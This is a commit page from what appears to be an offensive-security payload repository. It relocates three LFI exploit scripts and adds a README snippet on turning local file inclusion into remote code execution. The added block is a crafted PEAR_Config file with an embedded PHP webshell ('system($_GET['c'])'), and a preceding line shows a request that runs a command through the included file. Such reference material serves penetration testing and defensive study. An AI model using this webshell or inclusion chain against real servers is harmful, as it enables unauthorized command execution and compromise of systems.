PEAR_Config example

swisskyrepo · Oct 2, 2023 · 892c68e · 892c68e
1 parent 837f220
commit 892c68e
Show file tree

Hide file tree

Showing 4 changed files with 7 additions and 0 deletions.
diff --git a/File Inclusion/LFI2RCE.py → File Inclusion/Files/LFI2RCE.py b/File Inclusion/LFI2RCE.py → File Inclusion/Files/LFI2RCE.py
diff --git a/File Inclusion/phpinfolfi.py → File Inclusion/Files/phpinfolfi.py b/File Inclusion/phpinfolfi.py → File Inclusion/Files/phpinfolfi.py
diff --git a/File Inclusion/uploadlfi.py → File Inclusion/Files/uploadlfi.py b/File Inclusion/uploadlfi.py → File Inclusion/Files/uploadlfi.py
diff --git a/File Inclusion/README.md b/File Inclusion/README.md
@@ -520,6 +520,13 @@ There are two ways to exploit it.
   /vuln.php?file=/tmp/exec.php&c=id
   ```
 
+The created configuration file contains the webshell.
+
+```php
+#PEAR_Config 0.9
+a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
+```
+
 
 ## LFI to RCE via credentials files